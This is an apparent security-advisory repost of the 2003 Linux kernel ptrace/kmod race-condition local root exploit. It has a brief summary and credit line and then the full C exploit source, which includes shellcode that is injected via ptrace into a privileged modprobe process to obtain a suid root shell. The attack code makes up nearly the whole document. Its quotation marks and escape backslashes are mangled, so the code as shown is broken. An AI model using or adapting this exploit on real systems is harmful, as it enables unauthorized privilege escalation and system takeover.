‘Ptrace Exploit Code Released’

Summary

‘This exploit code exploits a race condition in kernel/kmod.c, which creates kernel thread in insecure manner. This bug allows to ptrace cloned process, allowing to take control over privileged modprobe binary.’

Credit:

‘The information has been provided by Wojciech Purczynski and Stephen Benjamin.’


Details

Exploit:
/*
 * Linux kernel ptrace/kmod local root exploit
 *
 *
 *
 * Should work under all current 2.2.x and 2.4.x kernels.
 *
 * I discovered this stupid bug independently on January 25, 2003, that
 * is (almost) two month before it was fixed and published by Red Hat
 * and others.
 *
 * Wojciech Purczynski <cliph@isec.pl>
 *
 * THIS PROGRAM IS FOR EDUCATIONAL PURPOSES *ONLY*
 * IT IS PROVIDED ‘AS IS’ AND WITHOUT ANY WARRANTY
 *
 * (c) 2003 Copyright by iSEC Security Research
 */

#include <grp.h>
#include <stdio.h>
#include <fcntl.h>
#include <errno.h>
#include <paths.h>
#include <string.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
#include <sys/wait.h>
#include <sys/stat.h>
#include <sys/param.h>
#include <sys/types.h>
#include <sys/ptrace.h>
#include <sys/socket.h>
#include <linux/user.h>

char cliphcode[] =
 ‘x90x90xebx1fxb8xb6x00x00’
 ‘x00x5bx31xc9x89xcaxcdx80’
 ‘xb8x0fx00x00x00xb9xedx0d’
 ‘x00x00xcdx80x89xd0x89xd3’
 ‘x40xcdx80xe8xdcxffxffxff’;

#define CODE_SIZE (sizeof(cliphcode) – 1)

pid_t parent = 1;
pid_t child = 1;
pid_t victim = 1;
volatile int gotchild = 0;

void fatal(char * msg)
{
 perror(msg);
 kill(parent, SIGKILL);
 kill(child, SIGKILL);
 kill(victim, SIGKILL);
}

void putcode(unsigned long * dst)
{
 char buf[MAXPATHLEN + CODE_SIZE];
 unsigned long * src;
 int i, len;

 memcpy(buf, cliphcode, CODE_SIZE);
 len = readlink(‘/proc/self/exe’, buf + CODE_SIZE, MAXPATHLEN – 1);
 if (len == -1)
  fatal(‘[-] Unable to read /proc/self/exe’);

 len += CODE_SIZE + 1;
 buf[len] = ‘’;
 
 src = (unsigned long*) buf;
 for (i = 0; i < len; i += 4)
  if (ptrace(PTRACE_POKETEXT, victim, dst++, *src++) == -1)
   fatal(‘[-] Unable to write shellcode’);
}

void sigchld(int signo)
{
 struct user_regs_struct regs;

 if (gotchild++ == 0)
  return;
 
 fprintf(stderr, ‘[+] Signal caughtn’);

 if (ptrace(PTRACE_GETREGS, victim, NULL, &regs) == -1)
  fatal(‘[-] Unable to read registers’);
 
 fprintf(stderr, ‘[+] Shellcode placed at 0x%08lxn’, regs.eip);
 
 putcode((unsigned long *)regs.eip);

 fprintf(stderr, ‘[+] Now wait for suid shell…n’);

 if (ptrace(PTRACE_DETACH, victim, 0, 0) == -1)
  fatal(‘[-] Unable to detach from victim’);

 exit(0);
}

void sigalrm(int signo)
{
 errno = ECANCELED;
 fatal(‘[-] Fatal error’);
}

void do_child(void)
{
 int err;

 child = getpid();
 victim = child + 1;

 signal(SIGCHLD, sigchld);

 do
  err = ptrace(PTRACE_ATTACH, victim, 0, 0);
 while (err == -1 && errno == ESRCH);

 if (err == -1)
  fatal(‘[-] Unable to attach’);

 fprintf(stderr, ‘[+] Attached to %dn’, victim);
 while (!gotchild) ;
 if (ptrace(PTRACE_SYSCALL, victim, 0, 0) == -1)
  fatal(‘[-] Unable to setup syscall trace’);
 fprintf(stderr, ‘[+] Waiting for signaln’);

 for(;;);
}

void do_parent(char * progname)
{
 struct stat st;
 int err;
 errno = 0;
 socket(AF_SECURITY, SOCK_STREAM, 1);
 do {
  err = stat(progname, &st);
 } while (err == 0 && (st.st_mode & S_ISUID) != S_ISUID);
 
 if (err == -1)
  fatal(‘[-] Unable to stat myself’);

 alarm(0);
 system(progname);
}

void prepare(void)
{
 if (geteuid() == 0) {
  initgroups(‘root’, 0);
  setgid(0);
  setuid(0);
  execl(_PATH_BSHELL, _PATH_BSHELL, NULL);
  fatal(‘[-] Unable to spawn shell’);
 }
}

int main(int argc, char ** argv)
{
 prepare();
 signal(SIGALRM, sigalrm);
 alarm(10);
 
 parent = getpid();
 child = fork();
 victim = child + 1;
 
 if (child == -1)
  fatal(‘[-] Unable to fork’);

 if (child == 0)
  do_child();
 else
  do_parent(argv[0]);

 return 0;
}’

Categories: Exploits